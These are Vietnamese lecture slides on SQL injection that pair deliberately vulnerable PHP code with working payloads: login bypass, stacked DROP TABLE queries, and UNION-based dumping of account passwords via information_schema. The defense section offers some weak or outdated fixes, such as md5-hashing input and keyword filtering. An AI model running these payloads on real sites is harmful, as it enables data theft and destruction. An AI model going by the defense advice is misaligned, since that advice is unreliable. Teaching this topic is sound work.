SQL Injection

You might also like

Download as pdf or txt
Download as pdf or txt
You are on page 1of 63

BẢO MẬT ỨNG DỤNG WEB

SQL INJECTION

Nguyễn Hữu Thể


SQL Injection
 Hình thức tấn công vào câu lệnh SQL.
 attacker chèn câu lệnh vào SQL của chương trình
• => khai thác dữ liệu.

 Khai thác lỗi: các ứng dụng web với backend:


• Không sử dụng data object
• Dùng kết nối query thuần
• Các thông báo lỗi của hệ quản trị cơ sở dữ liệu trả về

2
SQL Injection
❖ Các dạng lỗi thường gặp:
 Không kiểm tra ký tự thoát truy vấn
 Xử lý không đúng kiểu
 Lỗi bảo mật bên trong máy chủ cơ sở dữ liệu
 Blind SQL Injection

3
Các dạng tấn công SQL injection
 Dạng tấn công vượt qua kiểm tra đăng nhập
 Dạng tấn công sử dụng câu lệnh SELECT
 Dạng tấn công sử dụng câu lệnh INSERT
 Dạng tấn công sử dụng stored-procedures

4
Dạng tấn công vượt qua kiểm tra đăng nhập
(authorization bypass)
 Đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL.
 Ví dụ: table users như sau:
CREATE TABLE users (
id INT NOT NULL AUTO_INCREMENT,
username VARCHAR(100) NULL,
password VARCHAR(50) NULL,
PRIMARY KEY (id)
);

INSERT INTO users (username, password) VALUES ('aaa', '123456');


INSERT INTO users (username, password) VALUES ('bbb', '123456');

5
Dạng tấn công vượt qua kiểm tra đăng nhập
(authorization bypass)
<form action='process_login.php' method="post">
Username<input type=“text" name=“username" />
Password <input type="password" name="password" />
<input type="submit" value="Login" />
</form>

Câu truy vấn nhận dữ liệu:


$sql = "SELECT * FROM users
WHERE username = '".$_POST[‘username']."'
AND password = '" . $_POST['password']. "'";
6
Dạng tấn công vượt qua kiểm tra đăng nhập
(authorization bypass)

require 'dbcon.php';

$sql = "SELECT * FROM users


WHERE username = '".$_POST['username']."' AND password = '" . $_POST['password']. "'";
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_array($result);
if($row)
echo "<br>Thành công";
else
echo "<br>Thất bại";
mysqli_close($conn);
Dạng tấn công vượt qua kiểm tra đăng nhập
(authorization bypass)

Đăng nhập:
- Nhập vào ô username: khongbiet' OR 1 = 1 LIMIT 1 -- ]
- Nhập vào ô password: khongbiet

Kết quả truy vấn:

SELECT * FROM users WHERE username = 'khongbiet' OR 1 = 1 LIMIT 1 -- ]'


AND password = 'khongbiet'

Tương đương:
SELECT * FROM users WHERE username = 'khongbiet' OR 1 = 1 LIMIT 1
8
Dạng tấn công vượt qua kiểm tra đăng nhập
(authorization bypass)

TH1: Nhập đúng username và password

Đăng nhập thành công

TH2: không biết username và password

Đăng nhập thành công


9
Dạng tấn công sử dụng câu lệnh SELECT
 Lợi dụng các sơ hở trong các thông báo lỗi từ hệ
thống
• => Dò tìm các điểm yếu khởi đầu cho việc tấn công.

 Thông thường:
• Sẽ có một trang nhận ID của tin cần hiển thị
• Sau đó truy vấn nội dung của tin có ID này
• Hoặc ô nhập liệu tìm kiếm

10
Dạng tấn công sử dụng câu lệnh SELECT
 Ví dụ:
CREATE TABLE monhoc (
maMon varchar(8) NOT NULL PRIMARY KEY,
tenMon varchar(100) NOT NULL,
soTC int(11) NOT NULL
);

INSERT INTO monhoc (maMon, tenMon, soTC) VALUES


('03021003', 'Tin học cơ sở', 4),
('03021004', 'Nhập môn lập trình', 4),
('03021005', 'Phương pháp lập trình hướng đối tượng', 4);

11
Dạng tấn công sử dụng câu lệnh SELECT
<form action='process_search.php' method="post">
Nhập tênmôn: <input type="text" name=“tenmon" required="required"/>
<input type="submit" value="Tìm" />
</form>

Kết quả truy vấn nhận dữ liệu:


$sql = "SELECT * FROM monhoc
WHERE tenMon = '".$_POST[‘tenmon']."'";

SELECT * FROM monhoc WHERE tenMon = ‘Tin học'


12
Dạng tấn công sử dụng câu lệnh SELECT

<?php header('Content-Type: text/html; charset=utf-8'); ?>


<?php
require 'dbcon.php';

$sql = "SELECT * FROM monhoc


WHERE tenMon like '%".$_POST['tenmon']."%'";
echo "Câu truy vấn là: " . $sql. "<br>";
$result = mysqli_query($conn, $sql);
while($row = mysqli_fetch_array($result)) {
echo "Mã môn: {$row['maMon']}. Tên môn: {$row['tenMon']}<br>";
}
mysqli_close($conn);
?>

13
Dạng tấn công sử dụng câu lệnh SELECT

Mã môn: 03021003. Tên môn: Tin học cơ sở

14
Dạng tấn công sử dụng câu lệnh SELECT

Mã môn: 03021004. Tên môn: Nhập môn lập trình


Mã môn: 03021005. Tên môn: Phương pháp lập trình
hướng đối tượng

15
Dạng tấn công sử dụng câu lệnh SELECT

Mã môn: 03021003. Tên môn: Tin học cơ sở


Mã môn: 03021004. Tên môn: Nhập môn lập trình
Mã môn: 03021005. Tên môn: Phương pháp lập trình hướng đối tượng

SELECT * FROM monhoc WHERE tenMon = 'a' or 1=1-- '


16
Dạng tấn công sử dụng câu lệnh SELECT

Câu lệnh Union: kết hợp 2 table cùng số cột

SELECT * FROM users Union SELECT * From monhoc

17
Dạng tấn công sử dụng câu lệnh SELECT

http://localhost/MyPhamOnline/php/index.php?function=sanphamchitiet&id=1

Liệt kê 1 dữ liệu có trong table

18
Dạng tấn công sử dụng câu lệnh SELECT

http://localhost/MyPhamOnline/php/index2.php?function=sanphamchitiet&id=0 or 1=1 --

Liệt kê tất cả dữ liệu có trong table


Dạng tấn công sử dụng câu lệnh SELECT
Thực hiện nhiều truy vấn cùng lúc

Giả sử câu truy vấn có dạng:


$sql = "SELECT * FROM monhoc WHERE maMon = '" . $mamon . "'";

Người tấn công có thể nhập dữ liệu như sau:

a'; DROP TABLE users; SELECT * FROM sinhvien WHERE '1' = '1

Câu truy vấn sau khi nhận dữ liệu như sau:

SELECT * FROM monhoc WHERE maMon = 'a'; DROP TABLE


users; SELECT * FROM sinhvien WHERE '1' = '1'

20
Dạng tấn công sử dụng câu lệnh SELECT
Xử lý không đúng kiểu

Không kiểm tra và lọc kiểu dữ liệu đầu vào là số hay chuỗi
$sql = "SELECT * FROM monhoc WHERE maMon = " . $mamon ;

Người tấn công có thể nhập dữ liệu như sau:


1; DROP TABLE users

Câu truy vấn sau khi nhận dữ liệu như sau:

SELECT * FROM monhoc WHERE maMon =1; DROP TABLE users

21
Dạng tấn công sử dụng câu lệnh SELECT
Thay đổi giá trị điều kiện truy vấn

Thay đổi giá trị điều kiện trong câu truy vấn
 làm sai lệch kết quả hiển thị của ứng dụng chứa lỗi này.

Ví dụ: câu truy vấn bình thường:


SELECT * from Users where username= ‘aaa’ AND 1=1;

Câu truy vấn thay đổi:

SELECT * from Users where username= ‘aaa’ AND 1=2;

=> Sẽ hiển thị một nội dung khác, hoặc không hiển thị.

22
Dạng tấn công sử dụng câu lệnh INSERT
 Lợi dụng chức năng đăng ký tài khoản.
• => hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào.
 Ví dụ: Khi câu lệnh INSERT có dạng:
INSERT INTO TableName VALUES(‘Value One’, ‘Value Two’, ‘Value
Three’)
 Nếu nhập vào trường thứ nhất:
‘ + (SELECT TOP 1 FieldName FROM TableName) +’
 Câu truy vấn sẽ là:
INSERT INTO TableName VALUES(‘ ‘ + (SELECT TOP 1 FieldName
FROM TableName) + ‘ ‘, ‘aaa, ‘bbb’)

 Chương trình sẽ thực thi 2 lệnh đồng thời: Insert, Select:


SELECT TOP 1 FieldName FROM TableName
23
Dạng tấn công sử dụng stored-procedures
 A

24
BÀI TẬP

 Table:
 LoaiSanPham(maloai, tenloai)
 SanPham(masp, tensp, mota, gia, maloai)

25
BÀI TẬP
Dữ liệu ngành trong tuyển sinh
 Users(userid, username, password, level)
 NganhHoc(manganh, tennganh, chitieu)
Mã ngành
Tìm
 TH: Giao diện có 1 ô nhập liệu, bắt buộc nhập mới có thể
tìm. Hãy tìm cách để có thể:
• a/ Liệt kê tất cả các dữ liệu trong table NganhHoc,
bỏ qua lệnh xử lý truy vấn tìm.
• b/ Liệt kê tất cả dữ liệu trong table có tên Users
• c/ Cập nhật chỉ tiêu của ngành học có mã ngành 101
thành 500.

26
BÀI TẬP

 Dữ liệu ngành trong tuyển sinh


 NganhHoc(manganh, tennganh, chitieu)

 TH: Giao diện có 3 ô nhập liệu. Người dùng chỉ sử


dụng được giao diện thêm, không vào được giao diện
SỬA. Hãy tìm những cách có thể giúp người dùng
sửa được chỉ tiêu của ngành có mã 102 thành 500.
Mã ngành
Tên ngành
Chỉ tiêu
Thêm
27
Information Functions
Name Description
CHARSET() Return the character set of the argument
COERCIBILITY() Return the collation coercibility value of the string argument
COLLATION() Return the collation of the string argument
CONNECTION_ID() Return the connection ID (thread ID) for the connection
CURRENT_USER(),
The authenticated user name and host name
CURRENT_USER
DATABASE() Return the default (current) database name
For a SELECT with a LIMIT clause, the number of rows that would be
FOUND_ROWS()
returned were there no LIMIT clause
LAST_INSERT_ID() Value of the AUTOINCREMENT column for the last INSERT
ROW_COUNT() The number of rows updated
SCHEMA() Synonym for DATABASE()
SESSION_USER() Synonym for USER()
SYSTEM_USER() Synonym for USER()
USER() The user name and host name provided by the client
VERSION() Return a string that indicates the MySQL server version
28
Lệnh truy vấn database
 Xem version database
• MySQL:
• SELECT version();
• SELECT @@version;

 Xem tên database:


• MySQL
• SELECT DATABASE()

29
Lệnh truy vấn database
 Xem USER
• SELECT USER()

30
GOM NHÓM DỮ LIỆU
 Gom nhóm theo tên table
• group_concat(table_name)

 Gom nhóm theo tên cột


• group_concat(table_column)

31
INFORMATION_SCHEMA
 Information_schema là một database có sẵn trong hệ quản trị
cơ sở dữ liệu MySQL và MSSQL.
 Hai trong số các table trong information_schema
• information_schema.tables: Thông tin về tất cả các bảng
có trong tất các database.
• information_schema.columns: Thông tin về tất cả các cột
có trong tất các database.

➢ Sử dụng information_schema.tables để lấy tên tất cả các bảng trong CSDL 32


Trang web mục tiêu
Địa chỉ có dạng: index.php?id=1

33
Thử khai thác lỗi: id=1’
(Hoặc: id=1 and 1=0)
=> Lỗi dòng 18

34
Dùng Order By để xác định số cột
id=1 order by 10 --

35
Dùng Order By để xác định số cột
id=1 order by 11 –
=> Lỗi dòng 18
=>Table có 10 cột

36
Kết hợp lệnh Union
id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--
=> Phát hiện cột nào có thể tấn công (Theo hình là cột: 4, 8)

37
Tìm version dựa vào cột 4
id=-1 UNION SELECT 1,2,3,version(),5,6,7,8,9,10 --

38
Tìm tên database dựa vào cột 4
id=-1 UNION SELECT 1,2,3, database(),5,6,7,8,9,10 --

39
Tìm User đang quản trị
id=-1 UNION SELECT 1,2,3, user(),5,6,7,8,9,10 --

40
id=-1 UNION SELECT
1,2,3,unhex(hex(group_concat(table_name))),5,6,7,8,9,10
From information_schema.tables Where
table_schema=database() --

Kết quả: danh sách tên table như hình

41
Tìm cột trong table taikhoan:

id=-1 UNION SELECT


1,2,3,unhex(hex(group_concat(column_name))),5,6,7,8,9,10
From information_schema.columns Where
table_name=taikhoan--

=>Lỗi => Cần chuyển taikhoan sang ASCII

42
Tìm cột trong table taikhoan:

id=-1 UNION SELECT


1,2,3,unhex(hex(group_concat(column_name))),5,6,7,8,9,10
From information_schema.columns Where
table_name=CHAR(116, 97, 105, 107, 104, 111, 97, 110) --

Với CHAR(116, 97, 105, 107, 104, 111, 97, 110) là mã ASCII
của taikhoan

43
Tìm cột trong table taikhoan:

id=-1 UNION SELECT


1,2,3,unhex(hex(group_concat(tk_ten_dangnhap,
tk_matkhau))),5,6,7,8,9,10 From taikhoan--

44
Tìm cột trong table taikhoan:

id=-1 UNION SELECT


1,2,3,unhex(hex(group_concat(tk_ten_dangnhap, 0x3a,
tk_matkhau))),5,6,7,8,9,10 From taikhoan--

Với 0x3a: ký tự hai chấm

45
BÀI TẬP
Trình bày các bước kiểm tra 1 link website có khả năng bị lỗi SQL Injection?
Viết các câu lệnh liệt kê thông tin từ 1 table (nếu trang có lỗ hỏng)?
Link mục tiêu: www.test.vn/sanpham.php?maso=101
1. Kiểm tra link có khả năng bị lỗi hay không? => Dựa vào thông tin nào?
2. Kiểm tra table đang trình bày thông tin này có mấy cột?
▪ Giả sử table có 12 cột
3. Kiểm tra cột nào trong table có thể bị xâm nhập?
▪ Giả sử phát hiện cột số 5 và cột số 7
4. Kiểm tra vesion của hệ quản trị CSDL?
5. Kiểm tra tên database của hệ quản trị CSDL?
6. Kiểm tra user nào trong hệ quản trị CSDL quản lý database này?
7. Liệt kê danh sách table có trong database của web?
▪ Giả sử có các table: tblsanpham, tblloai, tbltaikhoan,…
8. Liệt kê danh sách các cột từ 1 table bất kỳ tìm thấy?
▪ Giả sử: tbltaikhoan(hoten, tendangnhap, matkhau, email, quyen)
9. Liệt kê nội dung trong 2 cột đã tìm thấy ở bước 8. 46
BÀI TẬP

 Dữ liệu ngành trong tuyển sinh


 NganhHoc(manganh, tennganh, chitieu)

 TH: Giao diện có 3 ô nhập liệu. Người dùng chỉ sử


dụng được giao diện thêm, không vào được giao diện
SỬA. Hãy tìm những cách có thể giúp người dùng
sửa được chỉ tiêu của ngành có mã 102 thành 500.
Mã ngành
Tên ngành
Chỉ tiêu
Thêm
47
SQL INJECTION VÀ KHẮC PHỤC
Ví dụ, đoạn code kiểm tra đăng nhập như sau:

$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM users
WHERE username = '". $username ."' AND password = '" . $password. "'";
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_array($result);
if($row)
echo "<br>Thành công";
else
echo "<br>Thất bại";
mysqli_close($conn);
SQL INJECTION VÀ KHẮC PHỤC

 Thử tấn công bằng SQL Injection


• TH 1: biết tên username

Username: admin
Password: ' OR '1'='1

// Câu truy vấn là:


select * from users where username='admin' and password='' OR '1'='1'

49
SQL INJECTION VÀ KHẮC PHỤC

 Thử tấn công bằng SQL Injection


• TH 2: không biết tên username và password

Username: ' OR '1'='1


Password: ' OR '1'='1

// Câu truy vấn là:


select * from users where username='' OR '1'='1' and password='' OR
'1'='1'

Hoặc:
Username: khongbiet' OR 1 = 1 --
Password: khongbiet

SELECT * FROM users WHERE username = 'khongbiet' OR 1 = 1 50


PHÒNG CHỐNG SQL INJECTION

 TH1: mysql_real_escape_string()
• Xóa các ký tự đặc biệt trong các dữ liệu đầu vào (dấu nháy
đơn)
require 'dbcon.php';

$username = mysql_real_escape_string($_POST['username']);
$password = mysql_real_escape_string($_POST['password']);
$sql = "SELECT * FROM users
WHERE username = '". $username ."' AND password = '" . $password. "'";
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_array($result);
if($row)
echo "<br>Thành công";
else
echo "<br>Thất bại";
mysqli_close($conn); 51
PHÒNG CHỐNG SQL INJECTION
 TH2: md5()
• mã hóa toàn bộ username và password
require 'dbcon.php';

$username = md5($_POST['username']);
$password = md5($_POST['password']);
$sql = "SELECT * FROM users
WHERE username = '". $username ."' AND password = '" . $password. "'";
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_array($result);
if($row)
echo "<br>Thành công";
else
echo "<br>Thất bại";
mysqli_close($conn);
SQL Infection không thực hiện được => vì đã mã hóa ra chuỗi ký tự
=> Việc chèn thêm các ký tự bị vô hiệu 52
PHÒNG CHỐNG SQL INJECTION

 Kiểm tra dữ liệu kiểu chuỗi


• Thiết lập độ dài tối đa cần thiết: length <= MAX_LENGTH.

• Lọc bỏ ký tự nguy hiểm, lọc bỏ các từ khóa như union,


select, order, information_schema, insert, drop, load_file…
(sử dụng các hàm như mysql_real_escape_string(),
preg_replace(), addslashes(), htmlspecialchars(),…)

• Viết các biểu thức chính qui (Regular Expression) cho mỗi
định dạng: email, username,…

53
PHÒNG CHỐNG SQL INJECTION

mysql_real_escape_string(String)
 Hàm thư viện MySQL
 Thêm dấu gạch chéo trước các ký tự đặc biệt:
• \x00, \n, \r, \, ', " và \x1a
• Ví dụ: mysqli_real_escape_string(“A' OR 1=1 --”)

A\' OR 1=1 --

54
PHÒNG CHỐNG SQL INJECTION

addslashes( $str )
Thêm dấu gạch chéo trước những ký tự (‘, “, \) trong chuỗi $str.

echo addslashes ("This's a text");

Kết quả:
This\'s a text

55
PHÒNG CHỐNG SQL INJECTION
htmlentities($str)
Chuyển các thẻ html trong chuỗi $str sang dạng Entities.
Result Description Entity Name Entity Number
< less than &lt; &#60;
> greater than &gt; &#62;
& ampersand &amp; &#38;
" double quotation mark &quot; &#34;
' single quotation mark &apos; &#39;

echo htmlentities("<b>This's a text</b>");

<b>This's a text</b> 56
PHÒNG CHỐNG SQL INJECTION

md5( $str)
Mã hóa chuỗi thành một dãy 32 ký tự (mã hóa md5).

echo md5("123456");

e10adc3949ba59abbe56e057f20f883e

57
PHÒNG CHỐNG SQL INJECTION

sha1($string)
Mã hóa chuỗi thành một dãy 40 ký tự

echo sha1("123456");

7c4a8d09ca3762af61e59520943dc26494f8941b

58
PHÒNG CHỐNG SQL INJECTION

str_replace($chuoi_tim, $chuoi_thay_the, $chuoi_nguon )

Tìm kiếm và thay thế chuỗi

echo str_replace( "--", "", "Loai bo ky tu --" );

Loai bo ky tu

59
PHÒNG CHỐNG SQL INJECTION

Strlen(String)
Lấy chiều dài chuỗi

$s = "CNTT";
echo "Chiều dài của chuỗi: ".strlen($s);

Chiều dài của chuỗi: 4

60
PHÒNG CHỐNG SQL INJECTION

 Kiểm tra dữ liệu kiểu số


is_numeric($var)
is_int($var)
is_integer($var)

 Ép kiểu: nếu dữ liệu nhận xử lý là kiểu số


$id = (int)$_POST['id'];

hoặc

$id = (int)$_GET['id'];
61
PHÒNG CHỐNG SQL INJECTION

 Ngăn chặn các thông báo lỗi gửi từ máy chủ: bằng
cách thêm ký tự @ trước câu lệnh SQL.

$id = $_GET[id];
mysql_query("SELECT * FROM tbl_name WHERE id=$id");

$id = $_GET[id];
@mysql_query("SELECT * FROM tbl_name WHERE id=$id");

62
Bài tập: Hãy liệt kê tất cả các phương pháp chống SQL Injection bạn biết
<form action='process_login.php' method="post">
Username<input type=“text" name=“tendangnhap" />
Password <input type="password" name=“matkhau" />
<input type="submit" value="Login" />
</form>

require 'dbcon.php';
$tendangnhap = $_POST['tendangnhap'];
$matkhau = $_POST[‘matkhau'];
$sql = "SELECT * FROM users
WHERE username = '". $tendangnhap ."' AND password = '" . $matkhau. "'";
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_array($result);
if($row) echo "<br>Thành công";
else echo "<br>Thất bại";
mysqli_close($conn);
63

You might also like